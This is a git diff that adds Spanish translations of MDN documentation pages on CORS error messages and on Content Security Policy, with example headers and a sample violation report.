diff --git a/files/es/web/http/cors/errors/corsmissingalloworigin/index.html b/files/es/web/http/cors/errors/corsmissingalloworigin/index.html
new file mode 100644
index 0000000000..321fbd965b
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsmissingalloworigin/index.html
@@ -0,0 +1,49 @@
+---
+title: 'Reason: CORS header ''Access-Control-Allow-Origin'' missing'
+slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+tags:
+  - Cabeceras
+  - Seguridad
+translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Motivo">Motivo</h2>
+
+<pre class="syntaxbox">Motivo: Hace falta la cabecera CORS 'Access-Control-Allow-Origin'</pre>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>A la respuesta de la solicitud {{Glossary("CORS")}} le falta la requerida cabecera {{HTTPHeader("Access-Control-Allow-Origin")}}, la cual se utiliza para determinar si el recurso puede o no ser accedido por el contenido dentro del origen actual.</p>
+
+<p>Si el servidor está bajo su control, agregue el origen del sitio solicitado al conjunto de dominios con acceso permitido agregándolo al valor de la cabecera <code>Access-Control-Allow-Origin</code>.</p>
+
+<p>Por ejemplo, para permitir a un sitio como https://amazing.site acceder al recurso usando CORS, la cabecera deberia ser:</p>
+
+<pre>Access-Control-Allow-Origin: https://amazing.site</pre>
+
+<p>También puede configurar un sitio para permitirle el acceso desde cualquier otro sitio usando el comodín <code>"*"</code>. Solamente debería usar esto para APIs públicas. Las APIs privadas nunca deberían usar este comodín, en lugar de eso, se debería especificar un dominio o conjunto de dominios. Adicionalmente, el comodín solamente funciona para consultas con el atributo {{htmlattrxref("crossorigin")}}  establecido en <code>"anonymous"</code>.</p>
+
+<pre>Access-Control-Allow-Origin: *</pre>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> Utilizar el comodín para permitir que todos los sitios accedan a una API privada es una mala idea.</p>
+</div>
+
+<p>Para permitir que cualquier sitio realice peticiones CORS <em>sin </em>usar el comodín <code>*</code> (por ejemplo, para activar credenciales), su servidor deberá leer el valor la cabecera <code>Origin</code> de la petición y usar dicho valor para <code>Access-Control-Allow-Origin</code> y además declarar una cabecera <code>Vary: Origin</code> para indicar que algunas cabeceras están siendo dinámicamente declaradas dependiendo del origen.</p>
+
+<p>El protocolo para administrar estas cabeceras depende de tu servidor web. Por ejemplo, en Apache, agrega una línea como la siguiente a la configuración del servidor (Con las secciones <code>&lt;Directory&gt;</code>, <code>&lt;Location&gt;</code>,<code> &lt;Files&gt;</code> o <code>&lt;VirtualHost&gt;</code> apropiadas). La configuración, suele encontrarse en un archivo <code>.conf</code> (<code>httpd.conf</code> y <code>apache.conf</code> son nombres comunes para este tipo de archivos), o en un archivo <code>.htaccess</code>.</p>
+
+<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre>
+
+<p>Para Nginx, el comando para configurar esta cabecera es:</p>
+
+<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>"</pre>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html
new file mode 100644
index 0000000000..b27a103689
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsnotsupportingcredentials/index.html
@@ -0,0 +1,34 @@
+---
+title: >-
+  Reason: Credential is not supported if the CORS header
+  ‘Access-Control-Allow-Origin’ is ‘*’
+slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
+translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Reason">Reason</h2>
+
+<pre class="syntaxbox">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</pre>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>The {{Glossary("CORS")}} request was attempted with the credentials flag set, but the server is configured using the wildcard (<code>"*"</code>) as the value of {{HTTPHeader("Access-Control-Allow-Origin")}}, which doesn't allow the use of credentials.</p>
+
+<p>To correct this problem on the client side, simply ensure that the credentials flag's value is <code>false</code> when issuing your CORS request.</p>
+
+<ul>
+ <li>If the request is being issued using {{domxref("XMLHttpRequest")}}, make sure you're not setting {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} to <code>true</code>.</li>
+ <li>If using <a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, make sure {{domxref("EventSource.withCredentials")}} is <code>false</code> (it's the default value).</li>
+ <li>If using the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, make sure {{domxref("Request.credentials")}} is <code>"omit"</code>.</li>
+</ul>
+
+<p>If, instead, you need to adjust the server's behavior, you'll need to change the value of <code>Access-Control-Allow-Origin</code> to grant access to the origin from which the client is loaded.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html
new file mode 100644
index 0000000000..bde76104f7
--- /dev/null
+++ b/files/es/web/http/cors/errors/corspreflightdidnotsucceed/index.html
@@ -0,0 +1,27 @@
+---
+title: 'Reason: CORS preflight channel did not succeed'
+slug: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed
+translation_of: Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Razón">Razón</h2>
+
+<pre class="syntaxbox">Razón: El canal de verifiación CORS no tuvo éxito.</pre>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>The {{Glossary("CORS")}} requiere verificación previa, la verificación previa no pudo realizarse. <span class="tlid-translation translation" lang="es"><span title="">Hay un par de razones por las cuales la verificación previa puede fallar:</span></span></p>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Se ha realizado previamente una solicitud entre sitios que realizó una verificación previa y no se permite volver a realizar la verificación previa.</span> <span title="">Asegúrese de que su código solo realice una verificación previa una vez por conexión.</span></span></li>
+ <li>La verificación previa ha sufrido alguna clase de un error de red fundamental.</li>
+</ul>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/corsrequestnothttp/index.html b/files/es/web/http/cors/errors/corsrequestnothttp/index.html
new file mode 100644
index 0000000000..49d3bbb0b6
--- /dev/null
+++ b/files/es/web/http/cors/errors/corsrequestnothttp/index.html
@@ -0,0 +1,25 @@
+---
+title: 'Reason: CORS request not HTTP'
+slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp
+---
+<div>{{HTTPSidebar}}</div>
+
+<h2 id="Razón">Razón</h2>
+
+<pre class="syntaxbox notranslate">Reason: CORS request not HTTP</pre>
+
+<h2 id="¿Qué_está_mal">¿Qué está mal?</h2>
+
+<p>{{Glossary("CORS")}} Las peticiones solo pueden usar el esquema de direcciones  HTTPS , pero la dirección especificada por la petición es de un tipo diferente. Esto a menudo ocurre si la petición especifica un archivo local, usando una dirección <code>file:///</code>.</p>
+
+<p>Para resolver este problema, simplemente asegúrate de usar direciones HTTPS cuando el emisor involucre CORS.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Errores de CORS</li>
+ <li>Glosario: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">Introducción a CORS</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">¿Qué es una direccion?</a></li>
+</ul>
diff --git a/files/es/web/http/cors/errors/index.html b/files/es/web/http/cors/errors/index.html
new file mode 100644
index 0000000000..d1dd12dc75
--- /dev/null
+++ b/files/es/web/http/cors/errors/index.html
@@ -0,0 +1,76 @@
+---
+title: CORS errors
+slug: Web/HTTP/CORS/Errors
+tags:
+  - CORS
+  - Errors
+  - HTTP
+  - HTTPS
+  - Messages
+  - NeedsTranslation
+  - Same-origin
+  - Security
+  - TopicStub
+  - console
+  - troubleshooting
+translation_of: Web/HTTP/CORS/Errors
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p>
+
+<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p>
+
+<h2 id="Identifying_the_issue">Identifying the issue</h2>
+
+<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p>
+
+<ol>
+ <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li>
+ <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li>
+</ol>
+
+<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p>
+
+<p>The text of the error message will be something similar to the following:</p>
+
+<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows
+reading the remote resource at <em>https://some-url-here</em>. (<em>Reason:
+additional information here</em>).</span></span></span></pre>
+
+<div class="note">
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p>
+</div>
+
+<h2 id="CORS_error_messages">CORS error messages</h2>
+
+<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong.  The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Glossary: {{Glossary("CORS")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
+ <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
+ <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
+</ul>
diff --git a/files/es/web/http/csp/index.html b/files/es/web/http/csp/index.html
new file mode 100644
index 0000000000..c01d4c28c2
--- /dev/null
+++ b/files/es/web/http/csp/index.html
@@ -0,0 +1,198 @@
+---
+title: Content Security Policy (CSP)
+slug: Web/HTTP/CSP
+tags:
+  - Política de Seguridad del Contenido
+translation_of: Web/HTTP/CSP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="tlid-translation translation"><span title=""><strong>Política de Seguridad del Contenido </strong>o<strong> </strong></span></span>( {{Glossary("CSP")}} ) - del inglés <em><strong>Content Security Policy</strong></em> - es una capa de seguridad adicional que ayuda a prevenir y mitigar algunos tipos de ataque, incluyendo Cross Site Scripting ( {{Glossary("XSS")}} ) y ataques de inyección de datos. Estos ataques son usados con diversos propósitos, desde robar información hasta desfiguración de sitios o distribución de malware .</p>
+
+<p>CSP está diseñado para ser completamente retrocompatible (excepto la versión 2 de CSP, donde hay algunas menciones explícitas de inconsistencia en la retrocompatibilidad; más detalles <a href="https://www.w3.org/TR/CSP2">aquí</a> sección 1.1).  Los navegadores que no lo soportan siguen funcionando con los servidores que lo implementan y viceversa: los navegadores que no soportan CSP simplemente lo ignoran, funcionando como siempre y delegando a la política mismo-origen para contenido web. Si el sitio web no ofrece la cabecera CSP, los navegadores igualmente usan la política estándar <a href="/en-US/docs/Web/Security/Same-origin_policy" title="En/Same origin policy for JavaScript">mismo-origen</a>.</p>
+
+<p>Para habilitar CSP, necesitas configurar tu servidor web para que devuelva la cabecera HTTP {{HTTPHeader("Content-Security-Policy")}} (en ocasiones verás menciones de la cabecera <code>X-Content-Security-Policy</code>, pero se trata de una versión antigua y no necesitas especificarla más).</p>
+
+<p>Alternativamente, el elemento {{HTMLElement("meta")}} puede ser usado para configurar una política, por ejemplo: <code>&lt;meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"&gt;</code></p>
+
+<h2 id="Amenazas">Amenazas</h2>
+
+<h3 id="Mitigando_el_cross_site_scripting">Mitigando el cross site scripting</h3>
+
+<p>El principal objetivo del CSP es mitigar y reportar ataques XSS. Los ataques XSS se aprovechan de la confianza del navegador en el contenido que recibe del servidor. El navegador de la víctima ejecutará los scripts maliciosos porque confía en la fuente del contenido, aun cuando dicho contenido no provenga  de donde se supone.</p>
+
+<p>CSP hace posible que los  administradores de servidores reduzcan o eliminen las posibilidades de ocurrencia de XSS mediante la especificación de dominios que el navegador considerará como fuentes válidas de scripts ejecutables. Un navegador compatible con  CSP solo ejecutará scripts de los archivos fuentes especificados en esa lista blanca de dominios, ignorando completamente cualquier otro script (incluyendo los scripts inline y los atributos de HTML de manejo de eventos).</p>
+
+<p>Como medida extrema de protección, los sitios que nunca requieran ejecutar scripts, <span class="tlid-translation translation"><span title="">pueden optar por rechazar globalmente la ejecución de scripts.</span></span></p>
+
+<h3 id="Mitigando_los_ataques_de_análisis_de_paquetes_packet_sniffing_attacks">Mitigando los ataques de análisis de paquetes <em>(packet sniffing attacks)</em></h3>
+
+<p><span class="tlid-translation translation"><span title="">Además de restringir los dominios desde los cuales se puede cargar el contenido, el servidor puede especificar qué protocolos se pueden usar;</span> <span title="">por ejemplo (e idealmente, desde un punto de vista de seguridad), un servidor puede especificar que todo el contenido debe cargarse utilizando HTTPS.</span> <span title="">Una estrategia completa de seguridad en la transmisión de datos incluye no solo aplicar HTTPS para la transferencia de datos, sino también marcar todas las cookies con el indicador de seguridad y proporcionar redirecciones automáticas desde las páginas HTTP a sus homólogas HTTPS.</span> <span title="">Los sitios también pueden usar la cabecera HTTP      {{HTTPHeader ("Strict-Transport-Security")}} para garantizar que los navegadores se conecten a ellos solo a través de un canal cifrado.</span></span></p>
+
+<h2 id="Utilizando_CSP">Utilizando CSP</h2>
+
+<p><span class="tlid-translation translation"><span title="">La configuración de la Política de Seguridad del Contenido (CSP), consiste en agregar a una página web la cabecera</span></span> HTTP {{HTTPHeader("Content-Security-Policy")}}<span class="tlid-translation translation"><span title="">, y darle valores para controlar los recursos que el agente de usuario puede cargar para esa página.</span> <span title="">Por ejemplo, una página que carga y muestra imágenes podría permitir imágenes desde cualquier lugar, pero pudiera restringir una acción de formulario a una ruta específica.</span> <span title="">Una Política de Seguridad de Contenido adecuadamente diseñada ayuda a proteger una página contra un ataque de scripts entre sitios.</span> <span title="">Este artículo explica cómo construir dichas cabeceras correctamente y proporciona ejemplos.</span></span></p>
+
+<h3 id="Especificando_una_política">Especificando una política</h3>
+
+<p>Para especificar una política, se puede utilizar la cabecera HTTP      {{HTTPHeader("Content-Security-Policy")}}  de la siguiente manera:</p>
+
+<pre class="syntaxbox">Content-Security-Policy: <em>política</em></pre>
+
+<p>La <em>política</em> es una cadena de caracteres que contiene las directivas que describen una determinada <span class="tlid-translation translation"><span title="">Política de Seguridad de Contenido</span></span>.</p>
+
+<h3 id="Describiendo_una_política">Describiendo una política</h3>
+
+<p><span class="tlid-translation translation"><span title="">Una política se describe utilizando una serie de directivas de políticas, cada una de las cuales describe la política para un determinado tipo de recurso o área de política.</span> <span title="">Una política debe incluir una directiva de políticas {{CSP ("default-src")}}, que es una alternativa para otros tipos de recursos cuando no tienen políticas propias (para obtener una lista completa, consulte la descripción de la directiva </span></span>{{CSP("default-src")}}<span class="tlid-translation translation"><span title=""> ).</span> <span title="">Una política debe incluir una directiva   {{CSP ("default-src")}} o {{CSP ("script-src")}} para evitar la ejecución de scripts en línea, así como bloquear el uso de </span></span><code>eval()</code><span class="tlid-translation translation"><span title="">.</span> <span title="">Una política debe incluir una directiva {{CSP ("default-src")}} o {{CSP ("style-src")}} para restringir la aplicación de estilos en línea desde un elemento {{HTMLElement ("style")}}</span><span title="">} o un atributo </span></span><code>style</code><span class="tlid-translation translation"><span title="">.</span></span></p>
+
+<h2 id="Ejemplos_Casos_de_usos_frecuentes">Ejemplos: Casos de usos frecuentes</h2>
+
+<p><span class="tlid-translation translation"><span title="">Esta sección proporciona ejemplos de algunos escenarios frecuentes de políticas de seguridad.</span></span></p>
+
+<h3 id="Ejemplo_1">Ejemplo 1</h3>
+
+<p><span class="tlid-translation translation"><span title="">Un administrador del sitio web desea que todo el contenido provenga del mismo origen que el del sitio (esto excluye subdominios).</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'</pre>
+
+<h3 id="Ejemplo_2">Ejemplo 2</h3>
+
+<p><span class="tlid-translation translation"><span title="">El administrador de un sitio web desea permitir el contenido de un dominio de confianza y todos sus subdominios (no tiene que ser el mismo dominio en el que está configurado el CSP).</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.trusted.com</pre>
+
+<h3 id="Ejemplo_3">Ejemplo 3</h3>
+
+<p><span class="tlid-translation translation"><span title="">El administrador de un sitio web desea permitir que los usuarios de una aplicación web incluyan imágenes de cualquier origen en su propio contenido, pero restringen los medios de audio o video a proveedores de confianza, y todas las secuencias de comandos solo a un servidor específico que aloja un código de confianza.</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre>
+
+<p><span class="tlid-translation translation"><span title="">Aquí, de forma predeterminada, el contenido solo se permite desde el origen del documento, con las siguientes excepciones:</span></span></p>
+
+<ul>
+ <li><span title="">Las imágenes pueden cargarse desde cualquier lugar (tenga en cuenta el comodín "*").</span></li>
+ <li><span class="tlid-translation translation"><span title="">Los archivos de medios solo están permitidos desde media1.com y media2.com (y no desde los subdominios de esos sitios).</span>     </span></li>
+ <li><span class="tlid-translation translation"><span title="">El script ejecutable solo está permitido desde userscripts.example.com.</span></span></li>
+</ul>
+
+<h3 id="Ejemplo_4">Ejemplo 4</h3>
+
+<p><span class="tlid-translation translation"><span title="">En administrador de un sitio web de banca en línea quiere asegurarse de que todo su contenido se cargue mediante SSL, para evitar que los atacantes puedan espiar las solicitudes.</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre>
+
+<p><span class="tlid-translation translation"><span title="">El servidor solo permite el acceso a documentos que se cargan específicamente a través de HTTPS a través del único origen onlinebanking.jumbobank.com.</span></span></p>
+
+<h3 id="Ejemplo_5">Ejemplo 5</h3>
+
+<p><span class="tlid-translation translation"><span title="">El administrador de un sitio de correo web desea permitir HTML en el correo electrónico, así como imágenes cargadas desde cualquier lugar, pero no JavaScript u otro contenido potencialmente peligroso.</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre>
+
+<p><span class="tlid-translation translation"><span title="">Tenga en cuenta que este ejemplo no especifica un {{CSP ("script-src")}} ;</span> <span title="">con el CSP de ejemplo, este sitio utiliza la configuración especificada por la directiva {{CSP ("default-src")}} , lo que significa que los scripts solo se pueden cargar desde el servidor de origen.</span></span></p>
+
+<h2 id="Comprobando_una_política">Comprobando una política</h2>
+
+<p><span class="tlid-translation translation"><span title="">Para facilitar la implementación, CSP se puede implementar en modo de solo informe.</span> <span title="">La política no se aplica, pero cualquier violación se informa a un URI proporcionado.</span> <span title="">Además, se puede usar una cabecera de solo informe para probar una futura revisión de una política sin implementarla realmente.</span><br>
+ <br>
+ <span title="">Se puede usar la cabecera HTTP {{HTTPHeader ("Content-Security-Policy-Report-Only")}} para especificar una política de la siguiente manera:</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy-Report-Only: <em>policy</em> </pre>
+
+<p><span class="tlid-translation translation"><span title="">Si la cabecera {{HTTPHeader ("Content-Security-Policy-Report-Only")}} y la cabecera {{HTTPHeader ("Content-Security-Policy")}} están presentes en la misma respuesta, ambas políticas se cumplen.</span> <span title="">La política especificada en la cabecera </span></span><code>Content-Security-Policy</code><span class="tlid-translation translation"><span title=""> se aplica, mientras que la política </span></span><code>Content-Security-Policy-Report-Only</code><span class="tlid-translation translation"><span title=""> genera informes pero no se aplica.</span></span></p>
+
+<h2 id="Habilitación_de_informes">Habilitación de informes</h2>
+
+<p><span class="tlid-translation translation"><span title="">Por defecto, los informes de violación no son enviados.</span> <span title="">Para habilitar los informes de violación, debe especificar la directiva de políticas {{CSP ("report-uri")}} , proporcionando al menos un URI al que entregar los informes:</span></span></p>
+
+<pre class="syntaxbox">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre>
+
+<p><span class="tlid-translation translation"><span title="">Luego se debe configurar el servidor para recibir los informes;</span> <span title="">se pueden almacenar o procesar de la manera que considere apropiada.</span></span></p>
+
+<h2 id="Sintáxis_del_informe_de_violación">Sintáxis del informe de violación</h2>
+
+<p>El informe es un objeto JSON que contiene los datos siguientes:</p>
+
+<dl>
+ <dt><code>blocked-uri</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El URI del recurso bloqueado por la Política de Seguridad de Contenido.</span> <span title="">Si el URI bloqueado es de un origen diferente al del <strong>document-uri</strong>, el URI bloqueado se trunca para contener solo el esquema, el host y el puerto.</span></span></dd>
+</dl>
+
+<dl>
+ <dt><code>disposition</code></dt>
+ <dd>Toma el valor <code>"enforce"</code> o <code>"reporting"</code> dependiendo de si se utiliza la cabecera {{HTTPHeader("Content-Security-Policy-Report-Only")}} o <code>Content-Security-Policy</code>.</dd>
+ <dt><code>document-uri</code></dt>
+ <dd>El URI del documento donde ocurrió la violación.</dd>
+ <dt><code>effective-directive</code></dt>
+ <dd>La directiva cuya aplicación causó la violación.</dd>
+ <dt><code>original-policy</code></dt>
+ <dd>La política original especificada por la cabecera HTTP <code>Content-Security-Policy</code>.</dd>
+ <dt><code>referrer</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El referente del documento en el que ocurrió la violación.</span></span></dd>
+ <dt><code>script-sample</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">Los primeros 40 caracteres del script inline, el controlador de eventos o el estilo que causó la violación.</span></span></dd>
+ <dt><code>status-code</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El código de estado HTTP del recurso en el que se creó una instancia del objeto global.</span></span></dd>
+ <dt><code>violated-directive</code></dt>
+ <dd><span class="tlid-translation translation"><span title="">El nombre de la sección de política que fue violada.</span></span></dd>
+</dl>
+
+<h2 id="Ejemplo_de_informe_de_violación">Ejemplo de informe de violación</h2>
+
+<div>Consideremos una página ubicada en <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code> que tiene las siguiente política: rechazar todo, excepto las hojas de estilo provenientes de <code>cdn.example.com</code>.</div>
+
+<div>
+<pre class="syntaxbox">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre>
+</div>
+
+<div>El código HTML de <code>signup.html</code> es el siguiente:</div>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Sign Up&lt;/title&gt;
+    &lt;link rel="stylesheet" href="css/style.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    ... Content ...
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<div>¿Puedes ver el error? <span class="tlid-translation translation"><span title="">Las hojas de estilo solo se pueden cargar desde </span></span><code>cdn.example.com</code><span class="tlid-translation translation"><span title="">, pero el sitio web intenta cargar una desde su propio origen (</span></span><code>http://example.com</code><span class="tlid-translation translation"><span title="">).</span> <span title="">Un navegador capaz de aplicar el CSP enviará el siguiente informe de violación mediante una solicitud POST a </span></span><code><a href="http://example.com/_/csp-reports" rel="freelink">http://example.com/_/csp-reports</a></code><span class="tlid-translation translation"><span title="">, cuando se visite el documento:</span></span></div>
+
+<pre>{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}</pre>
+
+<p><span class="tlid-translation translation"><span title="">Como se puede ver, el informe incluye la ruta completa al recurso infractor en </span></span><code>blocked-uri</code><span class="tlid-translation translation"><span title="">.</span> <span title="">Este no es siempre el caso.</span> <span title="">Por ejemplo, cuando </span></span><code>signup.html</code><span class="tlid-translation translation"><span title=""> intente cargar el CSS desde </span></span><a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a><span class="tlid-translation translation"><span title="">, el navegador no incluiría la ruta completa, sino solo el origen (</span></span><code>http://anothercdn.example.com</code><span class="tlid-translation translation"> <span title="">).</span> <span title="">La especificación CSP da una explicación de este extraño comportamiento.</span> <span title="">En resumen, esto se hace para evitar la pérdida de información confidencial sobre recursos de origen cruzado.</span></span></p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden"><span class="tlid-translation translation"><span title="">La tabla de compatibilidad en esta página se genera a partir de datos estructurados.</span> <span title="">Si desea contribuir con los datos, visite </span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a><span class="tlid-translation translation"><span title=""> y envíenos una solicitud de extracción.</span></span></p>
+
+<p>{{Compat("http.headers.csp")}}</p>
+
+<p><span class="tlid-translation translation"><span title="">Existe una incompatibilidad específica en algunas versiones del navegador web Safari, por lo que si se establece una cabecera de Política de Seguridad de Contenido, pero no una cabecera de Same Origin, el navegador bloqueará el contenido alojado de forma autónoma y el contenido externo, e informará incorrectamente de que esto es d</span><span title="">ebido a que la Política de Seguridad del Contenido no permite el contenido.</span></span></p>
+
+<div class="tlid-result-transliteration-container result-transliteration-container transliteration-container">
+<div class="tlid-transliteration-content transliteration-content full"></div>
+</div>
+
